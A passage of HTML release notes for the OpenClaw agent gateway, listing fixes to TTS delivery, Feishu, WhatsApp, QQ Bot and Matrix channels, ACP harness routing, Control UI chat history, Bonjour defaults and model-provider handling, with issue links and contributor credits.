<li>Config/providers: accept <code>video</code> and <code>audio</code> in configured model <code>input</code> values and preserve them in provider catalog entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3961456155" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/20721" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/20721/hovercard" href="https://github.com/openclaw/openclaw/issues/20721">#20721</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvinttang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvinttang">@alvinttang</a>.</li>
<li>Models/auth: honor the parent <code>--agent</code> flag for auth write commands (<code>add</code>, <code>login</code>, <code>setup-token</code>, <code>paste-token</code>, and the GitHub Copilot shortcut) so OAuth/API-key/token results are written to the requested agent store instead of the default agent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329713315" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71864" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71864/hovercard" href="https://github.com/openclaw/openclaw/issues/71864">#71864</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329952100" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71933" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71933/hovercard" href="https://github.com/openclaw/openclaw/pull/71933">#71933</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/balric-seo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/balric-seo">@balric-seo</a>.</li>
<li>TTS: strip model-emitted TTS directives from streamed block text before channel delivery, including directives split across adjacent blocks, while preserving the accumulated raw reply for final-mode synthesis. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4038643518" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38937" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38937/hovercard" href="https://github.com/openclaw/openclaw/issues/38937">#38937</a>.</li>
<li>TTS: keep explicit <code>provider=...</code> directive keys scoped to that provider and warn on unsupported keys instead of letting another speech provider consume overlapping keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4198945704" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60131" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60131/hovercard" href="https://github.com/openclaw/openclaw/issues/60131">#60131</a>.</li>
<li>TTS/Feishu: normalize final-mode streamed TTS-only audio before delivery so generated voice-note files use the same safe media path and native voice routing as normal final replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329908441" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71920" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71920/hovercard" href="https://github.com/openclaw/openclaw/issues/71920">#71920</a>.</li>
<li>Feishu: transcribe inbound voice-note audio with the shared media audio path before agent dispatch and keep raw Feishu <code>file_key</code> payloads out of message text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268134631" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67120/hovercard" href="https://github.com/openclaw/openclaw/issues/67120">#67120</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211680654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61876" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61876/hovercard" href="https://github.com/openclaw/openclaw/issues/61876">#61876</a>.</li>
<li>Tasks: terminalize async Gateway agent task records from the Gateway run result while preserving aborted, failed, and cancelled outcomes instead of leaving completed runs stuck as active or lost. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329869944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71905" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71905/hovercard" href="https://github.com/openclaw/openclaw/pull/71905">#71905</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/likewen-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/likewen-tech">@likewen-tech</a>.</li>
<li>WhatsApp: let authorized group voice-note transcripts satisfy mention gating before reply dispatch, while keeping unmentioned transcripts in pending group history. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069891043" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44908" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44908/hovercard" href="https://github.com/openclaw/openclaw/issues/44908">#44908</a>.</li>
<li>Media understanding: carry channel voice-note preflight state into attachment selection so WhatsApp, Feishu, Telegram, and Discord do not transcribe the same inbound audio twice. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4315503496" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70580" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70580/hovercard" href="https://github.com/openclaw/openclaw/issues/70580">#70580</a>.</li>
<li>TTS/BlueBubbles: deliver compatible auto-TTS audio as iMessage voice memo bubbles instead of plain MP3/CAF file attachments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3943170481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/16848" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/16848/hovercard" href="https://github.com/openclaw/openclaw/issues/16848">#16848</a>.</li>
<li>TTS: resolve voice-note and voice-memo routing from channel plugin capabilities instead of speech-core-owned channel id lists.</li>
<li>ACP: send subagent and async-task completion wakes to external ACP harnesses as plain prompts instead of OpenClaw internal runtime-context envelopes, while keeping those envelopes out of ACP transcripts.</li>
<li>TTS/status: show configured TTS model, voice, and sanitized custom endpoint in <code>/status</code>, preserve OpenAI-compatible TTS instructions on custom endpoints, and retry empty Microsoft/Edge TTS output once. Addresses <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076830177" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46602/hovercard" href="https://github.com/openclaw/openclaw/issues/46602">#46602</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078185482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47232" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/47232/hovercard" href="https://github.com/openclaw/openclaw/pull/47232">#47232</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4063664533" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43936/hovercard" href="https://github.com/openclaw/openclaw/pull/43936">#43936</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leekuangtao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leekuangtao">@leekuangtao</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Huntterxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Huntterxx">@Huntterxx</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rex993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rex993">@rex993</a>.</li>
<li>Agents/Gateway: steer agent-driven config edits and restarts through the owner-only <code>gateway</code> tool, document <code>config.schema.lookup</code> as the field-doc source, and warn against using <code>gateway stop &amp;&amp; gateway start</code> as a restart substitute on macOS. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329939344" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71929" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71929/hovercard" href="https://github.com/openclaw/openclaw/issues/71929">#71929</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ygc3817922006-sketch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ygc3817922006-sketch">@ygc3817922006-sketch</a>.</li>
<li>Media understanding/audio: inject a deterministic transcript placeholder for too-small voice notes so agents do not hallucinate transcription or provider failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087777845" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48944/hovercard" href="https://github.com/openclaw/openclaw/issues/48944">#48944</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eulicesl/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eulicesl">@eulicesl</a>.</li>
<li>Providers/vLLM: send Nemotron 3 chat-template kwargs when thinking is off and honor configured <code>params.chat_template_kwargs</code> for OpenAI-compatible completions, so vLLM/Nemotron replies stay visible instead of becoming thinking-only. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329813098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71891" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71891/hovercard" href="https://github.com/openclaw/openclaw/issues/71891">#71891</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmystaki-create/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmystaki-create">@jmystaki-create</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dennis-lynch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dennis-lynch">@dennis-lynch</a>.</li>
<li>Channels/replies: strip copied inbound metadata blocks from user-facing assistant replies and model replay history, so Discord/vLLM sessions do not leak <code>Conversation info</code> / <code>UNTRUSTED ... message body</code> envelopes after a model echoes them. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329636801" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71847" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71847/hovercard" href="https://github.com/openclaw/openclaw/issues/71847">#71847</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmystaki-create/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmystaki-create">@jmystaki-create</a>.</li>
<li>Subagents/memory: keep inter-session completion wakes out of memory and dreaming session exports, and strip internal runtime-context blocks from realtime Control UI chat events.</li>
<li>Agents/Claude: treat zero-token empty <code>stop</code> turns as failed provider output, retry once, repair replay, and allow configured model fallback instead of preserving them as successful silent replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329762708" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71880" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71880/hovercard" href="https://github.com/openclaw/openclaw/issues/71880">#71880</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MagnaAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MagnaAI">@MagnaAI</a>.</li>
<li>Tasks: normalize task lifecycle timestamps at create, update, and restore time, and report retained lost tasks as audit warnings until their cleanup window expires. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329725948" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71871" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71871/hovercard" href="https://github.com/openclaw/openclaw/pull/71871">#71871</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/likewen-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/likewen-tech">@likewen-tech</a>.</li>
<li>Diagnostics/OTEL: treat normal early model stream cleanup as a completed model call instead of exporting a misleading <code>StreamAbandoned</code> error span. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/pairing: stop corrupt or unreadable device/node pairing stores from being treated as empty state, preserving <code>paired.json</code> for repair instead of overwriting approved pairings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329738661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71873" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71873/hovercard" href="https://github.com/openclaw/openclaw/issues/71873">#71873</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iret77/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iret77">@iret77</a>.</li>
<li>ACP: keep <code>/acp</code> management commands, plus local <code>/status</code> and <code>/unfocus</code>, on the Gateway path inside ACP-bound threads so they are not consumed as ACP prompt text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259260856" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66298" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66298/hovercard" href="https://github.com/openclaw/openclaw/issues/66298">#66298</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kindomLee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kindomLee">@kindomLee</a>.</li>
<li>ACPX: stop probing ACP agents during normal Gateway startup; the embedded backend now registers without spawning Codex/ACP child processes unless <code>OPENCLAW_ACPX_RUNTIME_STARTUP_PROBE=1</code> is explicitly set.</li>
<li>CLI/image edit: accept <code>--size</code>, <code>--aspect-ratio</code>, and <code>--resolution</code> on <code>openclaw infer image edit</code> and report all supported edit flags from <code>capability inspect image.edit</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Pinghuachiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Pinghuachiu">@Pinghuachiu</a>.</li>
<li>ACP: wait for the configured runtime backend to become healthy before startup identity reconciliation, avoiding transient acpx warnings during Gateway boot. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043233380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40566" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40566/hovercard" href="https://github.com/openclaw/openclaw/issues/40566">#40566</a>.</li>
<li>Channels/ACP bindings: time out configured binding readiness checks instead of letting Discord preflight hang forever when an ACP target never settles. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289732408" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68776" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68776/hovercard" href="https://github.com/openclaw/openclaw/issues/68776">#68776</a>.</li>
<li>Control UI: hide the chat loading skeleton during background history reloads when existing messages or active stream content are already visible, avoiding reload flashes on high-latency local gateways. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329620242" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71844" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71844/hovercard" href="https://github.com/openclaw/openclaw/issues/71844">#71844</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WolvenRA/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WolvenRA">@WolvenRA</a>.</li>
<li>Control UI: keep locally optimistic chat messages visible when a history reload temporarily returns empty, avoiding lost first-turn messages on high-latency gateways. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329761362" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71878" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71878/hovercard" href="https://github.com/openclaw/openclaw/issues/71878">#71878</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WolvenRA/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WolvenRA">@WolvenRA</a>.</li>
<li>Control UI: keep chat history limits based on visible messages after filtering heartbeat and control-only transcript rows, so recent hidden entries no longer make older visible replies disappear. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WolvenRA/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WolvenRA">@WolvenRA</a>.</li>
<li>Agents/images: scrub old <code>[media attached: ...]</code>, <code>[Image: source: ...]</code>, and <code>media://inbound/...</code> markers from pruned model replay context so stale media refs are not rehydrated as fresh prompt images. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329723266" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71868" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71868/hovercard" href="https://github.com/openclaw/openclaw/issues/71868">#71868</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmeadlock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmeadlock">@jmeadlock</a>.</li>
<li>Docker/Bonjour: disable Bonjour/mDNS advertising by default for bundled Compose gateways on bridge networking, while keeping host/macvlan opt-in with <code>OPENCLAW_DISABLE_BONJOUR=0</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329762622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71879/hovercard" href="https://github.com/openclaw/openclaw/issues/71879">#71879</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gbballpack/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gbballpack">@gbballpack</a>.</li>
<li>CLI/status: label the OpenClaw Serve/Funnel setting as <code>Tailscale exposure</code> and show daemon state separately when available, so <code>gateway.tailscale.mode: "off"</code> no longer reads like the Tailscale daemon is stopped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329371669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71790" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71790/hovercard" href="https://github.com/openclaw/openclaw/issues/71790">#71790</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pesvobodak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pesvobodak">@pesvobodak</a>.</li>
<li>Plugins/Bonjour: stop ciao mDNS watchdog failures from looping forever when the advertiser stays stuck in <code>probing</code> or <code>announcing</code>; Bonjour now disables itself for the current Gateway process after repeated failed restarts while the Gateway keeps running. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291316152" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69011" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69011/hovercard" href="https://github.com/openclaw/openclaw/issues/69011">#69011</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/siddharthaagarwalofficial-ux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/siddharthaagarwalofficial-ux">@siddharthaagarwalofficial-ux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FiredMosquito831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FiredMosquito831">@FiredMosquito831</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spikefcz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spikefcz">@spikefcz</a>.</li>
<li>Gateway/Fly.io: seed Control UI allowed origins from the actual runtime bind and port so CLI-driven non-loopback starts do not crash before config exists. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329508985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71823" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71823/hovercard" href="https://github.com/openclaw/openclaw/issues/71823">#71823</a>.</li>
<li>macOS/remote SSH: keep discovered gateway hosts in <code>gateway.remote.sshTarget</code> while pinning SSH transport URLs to the local loopback tunnel, so browser automation does not regress into blocked non-loopback <code>ws://</code> endpoints. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4270922535" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67336" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67336/hovercard" href="https://github.com/openclaw/openclaw/issues/67336">#67336</a>.</li>
<li>Gateway/proxy: bootstrap env proxy dispatching from direct Gateway startup so provider and plugin network requests honor <code>HTTPS_PROXY</code>/<code>HTTP_PROXY</code> before the first embedded agent attempt runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329545167" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71833/hovercard" href="https://github.com/openclaw/openclaw/pull/71833">#71833</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mjamiv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mjamiv">@mjamiv</a>.</li>
<li>Plugins/runtime deps: verify clean npm installs actually place requested bundled runtime packages in the managed install root, reporting exact missing specs instead of a false successful repair. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329764229" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71883" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71883/hovercard" href="https://github.com/openclaw/openclaw/pull/71883">#71883</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Plugins/discovery: ignore stale <code>plugins.load.paths</code> aliases that point back at packaged bundled plugin directories and have doctor remove them, keeping bundled plugins on the runtime-deps staging path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>Models/LM Studio: preserve <code>@iq*</code> quant suffixes in model refs and provider matching so <code>/model lmstudio/...@iq3_xxs</code> keeps the exact LM Studio variant. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327545635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71474" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71474/hovercard" href="https://github.com/openclaw/openclaw/issues/71474">#71474</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327608782" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71486" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71486/hovercard" href="https://github.com/openclaw/openclaw/pull/71486">#71486</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XinwuC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XinwuC">@XinwuC</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Matrix/cron: preserve the live Matrix delivery target when creating implicit announce reminder jobs so mixed-case room IDs are not reconstructed from lowercased session keys. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329391998" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71798" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71798/hovercard" href="https://github.com/openclaw/openclaw/issues/71798">#71798</a>.</li>
<li>Feishu: accept Schema 2.0 card action callbacks that report <code>context.open_chat_id</code> instead of legacy <code>context.chat_id</code>, so button callbacks no longer drop as malformed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328732574" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71670" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71670/hovercard" href="https://github.com/openclaw/openclaw/issues/71670">#71670</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eddy1068/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eddy1068">@eddy1068</a>.</li>
<li>Feishu: keep synthetic card-action and bot-menu ids out of platform reply targets, using the real card callback message id when Feishu provides one and plain-sending otherwise. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328744083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71673" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71673/hovercard" href="https://github.com/openclaw/openclaw/issues/71673">#71673</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eddy1068/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eddy1068">@eddy1068</a>.</li>
<li>Plugins/QQ Bot: prefer an installed QQ Bot plugin that declares it replaces the bundled <code>qqbot</code> channel, preventing duplicate <code>qqbot_channel_api</code> and <code>qqbot_remind</code> tool registration noise. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4223849801" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63102" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63102/hovercard" href="https://github.com/openclaw/openclaw/issues/63102">#63102</a>.</li>
<li>Browser automation: keep stable tab ids and labels attached when Chromium replaces the raw target after form submissions or other action-triggered navigations, and return the replacement <code>targetId</code> from <code>/act</code> when the match is provable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4075792997" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46137" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46137/hovercard" href="https://github.com/openclaw/openclaw/issues/46137">#46137</a>.</li>
<li>QQ Bot: make <code>qqbot_remind</code> schedule, list, and remove Gateway cron jobs directly for owner-authorized senders instead of returning <code>cronParams</code> and relying on a follow-up generic <code>cron</code> tool call. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4319867451" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70865" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70865/hovercard" href="https://github.com/openclaw/openclaw/issues/70865">#70865</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4320478556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70937" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70937/hovercard" href="https://github.com/openclaw/openclaw/pull/70937">#70937</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GaosCode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GaosCode">@GaosCode</a>.</li>
<li>Agents/ACP: hide <code>sessions_spawn</code> ACP runtime options unless an ACP backend is loaded, and make <code>/acp doctor</code> call out <code>plugins.allow</code> blocking bundled <code>acpx</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/Codex: keep ACP prompt/skill routing hidden unless an ACP runtime backend is available, and warn in doctor when enabled Codex plugin configs still route <code>openai-codex/*</code> models through PI. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Media delivery: avoid sending generated image attachments twice when the assistant reply already includes explicit <code>MEDIA:</code> lines for the same turn, and reject unsafe remote <code>MEDIA:</code> URLs before delivery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Codex harness: ignore retryable app-server error notifications after Codex recovers, and preserve the real nested error message for terminal app-server failures instead of replacing it with a generic failure. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
